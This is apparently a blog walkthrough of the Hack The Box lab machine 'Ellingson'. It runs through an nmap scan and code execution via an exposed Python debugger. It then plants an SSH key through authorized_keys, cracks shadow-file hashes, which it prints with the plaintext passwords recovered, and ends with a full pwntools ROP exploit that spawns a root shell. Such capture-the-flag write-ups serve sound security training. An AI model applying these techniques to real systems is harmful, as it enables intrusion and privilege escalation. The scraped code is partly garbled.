HTB Ellingson Walkthrough

HTB Ellingson Walkthrough (Nanobyte)

Oct 22, 2019 | nanobyte

Ellingson was an awesome box to root! Not only did I get to sharpen some of my ROP skills, but the throwback to one of my favorite movies (Hackers) was a treat from beginning to root. For those of you who have not seen the 1995 film Hackers, go watch it! This box was also awesome because getting the initial foothold was not the average run this exploit, or find these credentials. I really had to think out of the box (get it?) since I am still so new to hacking. So, lets get started!

First off, I ran nmap against the box:

1234567891011121314nmap -sV -sC -p- -oA ellingson.htb Nmap 7.70 ( ) at 2019-10-22 10:15 CDTNmap scan report for is up (0.066s latency).Not shown: 998 filtered portsPORT   STATE SERVICE VERSION22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)80/tcp open  http    nginx 1.14.0 (Ubuntu)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port ggressive OS guesses: Linux 3.10 - 4.11 (92%), Linux 3.2 - 4.9 (92%), Linux 3.18 (90%), Crestron XPanel control system (90%), Linux 3.16 (89%), ASUS RT-N56U WAP (Linux 3.4) (87%), Linux 3.1 (87%), Linux 3.2 (87%), HP P2000 G3 NAS device (87%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (87%)No exact OS matches for host (test conditions non-ideal).Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at .Nmap done: 1 IP address (1 host up) scanned in 16.92 seconds

Once I was able to identify what services were running, I hopped on over to the website and began to poke around while running gobuster. When I got to the /articles/ directory, I noticed the numbers incremented and so I manually “fuzzed”. I did this by simply adding iterations of numbers after the /articles/ directory, until I got to 5. Once on I was able to find python debugger shells.

123456File "/opt/corp-web/", line 32, in show_articlesslug = articles[index-1]>>> import getpass>>> print(getpass.getuser())hal

Nice! I found I have the ability to run os system commands. During initial enumeration, I found that there is Port 22 open. First, I tried to steal the SSH key, but I did not know the key passphrase so connection was refused. However, looking further, I can write to the authorized_keys file. So, I generated a new SSH RSA key, and placed my pub key in authorized_keys:

123import osos.system("echo '\nssh-rsa [your RSA key]' >> /home/hal/.ssh/authorized_keys")

And now I can login to SSH. Awesome, initial foothold gained!

Now that we have SSH, completing further enumeration I found I was user Hal, and needed to escelate to user. Enumerating the system, there is a backup folder in /var/. In there, I have read permissions to shadow.bak!? Bad admin!

1234567891011121314151617181920212223242526272829303132333435cat /var/backups/shadow.bakroot:*:17737:0:99999:7:::daemon:*:17737:0:99999:7:::bin:*:17737:0:99999:7:::sys:*:17737:0:99999:7:::sync:*:17737:0:99999:7:::games:*:17737:0:99999:7:::man:*:17737:0:99999:7:::lp:*:17737:0:99999:7:::mail:*:17737:0:99999:7:::news:*:17737:0:99999:7:::uucp:*:17737:0:99999:7:::proxy:*:17737:0:99999:7:::www-data:*:17737:0:99999:7:::backup:*:17737:0:99999:7:::list:*:17737:0:99999:7:::irc:*:17737:0:99999:7:::gnats:*:17737:0:99999:7:::nobody:*:17737:0:99999:7:::systemd-network:*:17737:0:99999:7:::systemd-resolve:*:17737:0:99999:7:::syslog:*:17737:0:99999:7:::messagebus:*:17737:0:99999:7:::_apt:*:17737:0:99999:7:::lxd:*:17737:0:99999:7:::uuidd:*:17737:0:99999:7:::dnsmasq:*:17737:0:99999:7:::landscape:*:17737:0:99999:7:::pollinate:*:17737:0:99999:7:::sshd:*:17737:0:99999:7:::theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::

Let’s crack those hashes!

1234hashcat64.exe -m 1800 -a 0 ellingsin.txt rockyou.txt --forcetheplague:password123margo:iamgod$08

Now that it’s cracked, let’s login as user!

1234su margocat /home/margo/user.txtd0ff9e3f9da8--------------------

User owned. From here, I ran the script, and found a binary running that should NOT be there:

123find / -perm -u=s -type f 2>/dev/null/usr/bin/garbage

I tried several methods to get the binary to my box. All ways failed, so assume that it’s blocked on the box. I found openssl base64 as an alternative method.

1234567openssl base64 < garbage//Copy output of encoded garbage//On your machine, create garbage.inputopenssl base64 -d < garbage.input > garbage.output

Garbage.output is now the binary on my system. For the ROP, I had to watch Bitterman’s video several times, and speak wth the HTB community on Discord (if you are NOT on their channel, I highly recommend it. There is a community of hackers who really do want to help you along with nudges when you are stuck, which is especially nice for a n00b like me). After watching the second half of the video, and chatting with a few fellow hackers, I was able to come up with the following:

12345678910111213141516171819202122232425262728293031323334353637383940414243444546from pwn import *context(terminal=['tmux', 'new-window'])session = ssh('margo', '', password='iamgod$08')p = session.process('/usr/bin/garbage')#p = gdb.debug('./garbage', 'b main')context(os='linux', arch='amd64')#context.log_level = 'DEBUG'# make sure these are local and freshly grabbed from remote with correct permissionsgarbage = ELF('garbage')rop = ROP(garbage)libc = ELF('')junk = "A" * 136# build rop['rdi'], order='regs')rop.puts(['puts'])['main'])print "ROP Chain 1:\n{}".format(rop.dump())payload = junk + str(rop)p.recvuntil('password:')p.sendline(payload)p.recvuntil('denied.')leaked_puts_address_in_libc = p.recv()[:8].strip().ljust(8, "\x00")print("Leaked puts@GLIBCL {}".format(str(leaked_puts_address_in_libc)))# unpackleaked_puts_address_in_libc = u64(leaked_puts_address_in_libc)libc.address = leaked_puts_address_in_libc - libc.symbols['puts']rop2 = ROP(libc)rop2.setuid(0x0)rop2.system(next('/bin/sh\x00')))print "ROP Chain 2:\n{}".format(rop2.dump())payload = junk + str(rop2)p.sendline(payload)p.recvuntil('denied.')p.clean()p.interactive()

Now, once I ran the binary, I was delivered root!

12cat /root/root.txt1cc73a448021--------------------

Last updated